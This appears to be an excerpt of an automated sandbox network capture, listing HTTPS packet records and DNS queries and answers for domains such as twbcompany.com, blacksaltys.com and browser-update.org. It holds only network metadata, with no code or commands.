Oct 7, 2024 14:10:21.521408081 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.521440029 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.540642977 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.540745020 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.540862083 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.540885925 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.540905952 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.540925026 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.540952921 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.540970087 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.540970087 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.557523966 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.557609081 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.557612896 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.557645082 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.557679892 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.557811975 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.557976961 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.558168888 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.558214903 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.558218002 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.558218956 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.558228970 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.558269024 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.558543921 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.558593035 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.558643103 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.558643103 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.558654070 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.558764935 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.558806896 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.558811903 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.558836937 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.558860064 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.559096098 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.559185982 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.559262991 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.559413910 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.559509993 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.559956074 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.572365046 CEST	443	49808	172.67.69.206	192.168.2.5
Oct 7, 2024 14:10:21.572451115 CEST	49808	443	192.168.2.5	172.67.69.206
Oct 7, 2024 14:10:21.572462082 CEST	443	49808	172.67.69.206	192.168.2.5
Oct 7, 2024 14:10:21.572568893 CEST	443	49808	172.67.69.206	192.168.2.5
Oct 7, 2024 14:10:21.572673082 CEST	443	49808	172.67.69.206	192.168.2.5
Oct 7, 2024 14:10:21.572736979 CEST	49808	443	192.168.2.5	172.67.69.206
Oct 7, 2024 14:10:21.572745085 CEST	443	49808	172.67.69.206	192.168.2.5
Oct 7, 2024 14:10:21.572787046 CEST	49808	443	192.168.2.5	172.67.69.206
Oct 7, 2024 14:10:21.572793961 CEST	443	49808	172.67.69.206	192.168.2.5
Oct 7, 2024 14:10:21.573793888 CEST	443	49808	172.67.69.206	192.168.2.5
Oct 7, 2024 14:10:21.573848009 CEST	49808	443	192.168.2.5	172.67.69.206
Oct 7, 2024 14:10:21.577670097 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.577756882 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.577863932 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.577977896 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.578434944 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.578501940 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.578511000 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.578516960 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.579407930 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.605421066 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.605458021 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.605479002 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.605508089 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.605536938 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.605551004 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.606163025 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.606182098 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.606199026 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.606210947 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.606219053 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.606230974 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.607075930 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.607100010 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.607115984 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.607137918 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.607146978 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.607168913 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.625276089 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.625297070 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.625313997 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.625340939 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.625349045 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.625375986 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.625663042 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.626838923 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.642158031 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.642345905 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.642520905 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.642621040 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.642676115 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.642676115 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.642684937 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.642761946 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.642788887 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.642793894 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.642839909 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.642839909 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.642981052 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.643032074 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.643048048 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.643107891 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.643259048 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.643321037 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.643347025 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.643351078 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.643404961 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.643404961 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.643642902 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.643728971 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.643862963 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.643985987 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.644005060 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.644088030 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.662205935 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.662343979 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.662353039 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.662364960 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.662416935 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.662662029 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.662728071 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.662786007 CEST	443	49801	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.663311958 CEST	49801	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.689696074 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.689729929 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.689765930 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.689780951 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.689790964 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.689815044 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.690058947 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.690078974 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.690098047 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.690113068 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.690121889 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.690133095 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.690156937 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.690958023 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.690984011 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.690999985 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.691016912 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.691026926 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.691050053 CEST	49807	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:21.691091061 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.691109896 CEST	443	49807	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:21.691142082 CEST	49807	443	192.168.2.5	192.185.125.111

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 14:10:05.871813059 CEST	192.168.2.5	1.1.1.1	0xd4af	Standard query (0)	twbcompany.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:05.871974945 CEST	192.168.2.5	1.1.1.1	0x3b8d	Standard query (0)	twbcompany.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:06.895994902 CEST	192.168.2.5	1.1.1.1	0x88f9	Standard query (0)	twbcompany.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:06.896146059 CEST	192.168.2.5	1.1.1.1	0x940e	Standard query (0)	twbcompany.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:08.722043991 CEST	192.168.2.5	1.1.1.1	0xeaed	Standard query (0)	www.twbcompany.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:08.722251892 CEST	192.168.2.5	1.1.1.1	0xd461	Standard query (0)	www.twbcompany.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:08.898847103 CEST	192.168.2.5	1.1.1.1	0x2cb2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:08.899296999 CEST	192.168.2.5	1.1.1.1	0x5e1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:10.615622997 CEST	192.168.2.5	1.1.1.1	0xa66	Standard query (0)	blacksaltys.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:10.615804911 CEST	192.168.2.5	1.1.1.1	0x169c	Standard query (0)	blacksaltys.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:10.653651953 CEST	192.168.2.5	1.1.1.1	0x2a8a	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:10.653971910 CEST	192.168.2.5	1.1.1.1	0xbb09	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:10.777578115 CEST	192.168.2.5	1.1.1.1	0x2c5	Standard query (0)	secure.leadforensics.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:10.777578115 CEST	192.168.2.5	1.1.1.1	0xed3c	Standard query (0)	secure.leadforensics.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:11.760766029 CEST	192.168.2.5	1.1.1.1	0xd911	Standard query (0)	secure.leadforensics.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:11.761097908 CEST	192.168.2.5	1.1.1.1	0x4fba	Standard query (0)	secure.leadforensics.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:11.872549057 CEST	192.168.2.5	1.1.1.1	0xa0da	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:11.872983932 CEST	192.168.2.5	1.1.1.1	0x3968	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:12.003806114 CEST	192.168.2.5	1.1.1.1	0x1227	Standard query (0)	blacksaltys.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:12.004097939 CEST	192.168.2.5	1.1.1.1	0xa86	Standard query (0)	blacksaltys.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:12.128525972 CEST	192.168.2.5	1.1.1.1	0x907e	Standard query (0)	www.twbcompany.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:12.128732920 CEST	192.168.2.5	1.1.1.1	0x43b6	Standard query (0)	www.twbcompany.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:13.615550995 CEST	192.168.2.5	1.1.1.1	0xde60	Standard query (0)	virtual.urban-orthodontics.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:13.615699053 CEST	192.168.2.5	1.1.1.1	0xafd0	Standard query (0)	virtual.urban-orthodontics.com	65	IN (0x0001)	false
Oct 7, 2024 14:10:13.616089106 CEST	192.168.2.5	1.1.1.1	0xf2c8	Standard query (0)	j.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:13.616200924 CEST	192.168.2.5	1.1.1.1	0xc6b2	Standard query (0)	j.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 14:10:15.752531052 CEST	192.168.2.5	1.1.1.1	0xbe9d	Standard query (0)	j.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:15.753659964 CEST	192.168.2.5	1.1.1.1	0x2f8f	Standard query (0)	j.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 14:10:16.243470907 CEST	192.168.2.5	1.1.1.1	0x83e5	Standard query (0)	browserupdate.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:16.243690014 CEST	192.168.2.5	1.1.1.1	0x8d7	Standard query (0)	browserupdate.org	65	IN (0x0001)	false
Oct 7, 2024 14:10:18.695585012 CEST	192.168.2.5	1.1.1.1	0xc166	Standard query (0)	browser-update.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:18.696094990 CEST	192.168.2.5	1.1.1.1	0x4742	Standard query (0)	browser-update.org	65	IN (0x0001)	false
Oct 7, 2024 14:10:20.313200951 CEST	192.168.2.5	1.1.1.1	0x9bbd	Standard query (0)	browserupdate.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:20.313200951 CEST	192.168.2.5	1.1.1.1	0x117d	Standard query (0)	browserupdate.org	65	IN (0x0001)	false
Oct 7, 2024 14:10:20.345132113 CEST	192.168.2.5	1.1.1.1	0x9842	Standard query (0)	browser-update.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:20.345818996 CEST	192.168.2.5	1.1.1.1	0x8c85	Standard query (0)	browser-update.org	65	IN (0x0001)	false
Oct 7, 2024 14:10:21.839410067 CEST	192.168.2.5	1.1.1.1	0xefd7	Standard query (0)	c.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:21.839755058 CEST	192.168.2.5	1.1.1.1	0xcd26	Standard query (0)	c.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 14:10:21.840239048 CEST	192.168.2.5	1.1.1.1	0x3000	Standard query (0)	ipv6.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:21.840461016 CEST	192.168.2.5	1.1.1.1	0xad52	Standard query (0)	ipv6.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 14:10:21.840831041 CEST	192.168.2.5	1.1.1.1	0xea7a	Standard query (0)	b.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:21.841192007 CEST	192.168.2.5	1.1.1.1	0x1cb8	Standard query (0)	b.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 14:10:25.138339996 CEST	192.168.2.5	1.1.1.1	0x844	Standard query (0)	ipv6.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:25.138648033 CEST	192.168.2.5	1.1.1.1	0xf7d1	Standard query (0)	ipv6.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 14:10:25.139178038 CEST	192.168.2.5	1.1.1.1	0x8505	Standard query (0)	b.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:25.139311075 CEST	192.168.2.5	1.1.1.1	0x1abe	Standard query (0)	b.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 14:10:25.153706074 CEST	192.168.2.5	1.1.1.1	0x7b01	Standard query (0)	c.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:25.154108047 CEST	192.168.2.5	1.1.1.1	0x5201	Standard query (0)	c.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 14:11:14.597243071 CEST	192.168.2.5	1.1.1.1	0x9b20	Standard query (0)	secure.leadforensics.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:11:14.598911047 CEST	192.168.2.5	1.1.1.1	0x467f	Standard query (0)	secure.leadforensics.com	65	IN (0x0001)	false
Oct 7, 2024 14:11:14.607398033 CEST	192.168.2.5	1.1.1.1	0xfb46	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:11:14.607547045 CEST	192.168.2.5	1.1.1.1	0x854e	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 14:11:23.020040035 CEST	192.168.2.5	1.1.1.1	0x52f	Standard query (0)	b.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:11:23.020400047 CEST	192.168.2.5	1.1.1.1	0xac76	Standard query (0)	b.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 14:11:25.283917904 CEST	192.168.2.5	1.1.1.1	0xa0da	Standard query (0)	b.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:11:25.284146070 CEST	192.168.2.5	1.1.1.1	0x7bbb	Standard query (0)	b.6sc.co	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 14:10:06.414907932 CEST	1.1.1.1	192.168.2.5	0xd4af	No error (0)	twbcompany.com		192.185.125.111	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:07.394886017 CEST	1.1.1.1	192.168.2.5	0x88f9	No error (0)	twbcompany.com		192.185.125.111	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:08.905632019 CEST	1.1.1.1	192.168.2.5	0x2cb2	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:08.906017065 CEST	1.1.1.1	192.168.2.5	0x5e1	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 14:10:09.187306881 CEST	1.1.1.1	192.168.2.5	0xeaed	No error (0)	www.twbcompany.com		192.185.125.111	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:10.661081076 CEST	1.1.1.1	192.168.2.5	0x2a8a	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:10.661081076 CEST	1.1.1.1	192.168.2.5	0x2a8a	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:10.661081076 CEST	1.1.1.1	192.168.2.5	0x2a8a	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:10.661081076 CEST	1.1.1.1	192.168.2.5	0x2a8a	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:10.713027000 CEST	1.1.1.1	192.168.2.5	0xa66	No error (0)	blacksaltys.com		77.232.36.155	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:10.816178083 CEST	1.1.1.1	192.168.2.5	0xed3c	No error (0)	secure.leadforensics.com	lftracking.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:10.817883015 CEST	1.1.1.1	192.168.2.5	0x2c5	No error (0)	secure.leadforensics.com	lftracking.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:11.797183990 CEST	1.1.1.1	192.168.2.5	0x4fba	No error (0)	secure.leadforensics.com	lftracking.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:11.837096930 CEST	1.1.1.1	192.168.2.5	0xd911	No error (0)	secure.leadforensics.com	lftracking.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:11.879873991 CEST	1.1.1.1	192.168.2.5	0xa0da	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:11.879873991 CEST	1.1.1.1	192.168.2.5	0xa0da	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:11.879873991 CEST	1.1.1.1	192.168.2.5	0xa0da	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:11.879873991 CEST	1.1.1.1	192.168.2.5	0xa0da	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:12.100893974 CEST	1.1.1.1	192.168.2.5	0x1227	No error (0)	blacksaltys.com		77.232.36.155	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:12.228184938 CEST	1.1.1.1	192.168.2.5	0x907e	No error (0)	www.twbcompany.com		192.185.125.111	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:13.623327017 CEST	1.1.1.1	192.168.2.5	0xf2c8	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:13.623361111 CEST	1.1.1.1	192.168.2.5	0xc6b2	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:13.625108004 CEST	1.1.1.1	192.168.2.5	0xde60	No error (0)	virtual.urban-orthodontics.com		185.76.79.50	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:15.761065960 CEST	1.1.1.1	192.168.2.5	0x2f8f	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:15.762917042 CEST	1.1.1.1	192.168.2.5	0xbe9d	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:16.255300045 CEST	1.1.1.1	192.168.2.5	0x8d7	No error (0)	browserupdate.org			65	IN (0x0001)	false
Oct 7, 2024 14:10:16.259011984 CEST	1.1.1.1	192.168.2.5	0x83e5	No error (0)	browserupdate.org		104.21.7.183	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:16.259011984 CEST	1.1.1.1	192.168.2.5	0x83e5	No error (0)	browserupdate.org		172.67.137.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:18.703259945 CEST	1.1.1.1	192.168.2.5	0xc166	No error (0)	browser-update.org		172.67.69.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:18.703259945 CEST	1.1.1.1	192.168.2.5	0xc166	No error (0)	browser-update.org		104.26.13.241	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:18.703259945 CEST	1.1.1.1	192.168.2.5	0xc166	No error (0)	browser-update.org		104.26.12.241	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:18.703999996 CEST	1.1.1.1	192.168.2.5	0x4742	No error (0)	browser-update.org			65	IN (0x0001)	false
Oct 7, 2024 14:10:19.338530064 CEST	1.1.1.1	192.168.2.5	0x95b	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:19.338530064 CEST	1.1.1.1	192.168.2.5	0x95b	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:19.343776941 CEST	1.1.1.1	192.168.2.5	0x100a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:19.343776941 CEST	1.1.1.1	192.168.2.5	0x100a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:20.228019953 CEST	1.1.1.1	192.168.2.5	0x309d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:20.228019953 CEST	1.1.1.1	192.168.2.5	0x309d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:20.320574045 CEST	1.1.1.1	192.168.2.5	0x9bbd	No error (0)	browserupdate.org		104.21.7.183	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:20.320574045 CEST	1.1.1.1	192.168.2.5	0x9bbd	No error (0)	browserupdate.org		172.67.137.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:20.330635071 CEST	1.1.1.1	192.168.2.5	0x117d	No error (0)	browserupdate.org			65	IN (0x0001)	false
Oct 7, 2024 14:10:20.352603912 CEST	1.1.1.1	192.168.2.5	0x9842	No error (0)	browser-update.org		172.67.69.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:20.352603912 CEST	1.1.1.1	192.168.2.5	0x9842	No error (0)	browser-update.org		104.26.12.241	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:20.352603912 CEST	1.1.1.1	192.168.2.5	0x9842	No error (0)	browser-update.org		104.26.13.241	A (IP address)	IN (0x0001)	false
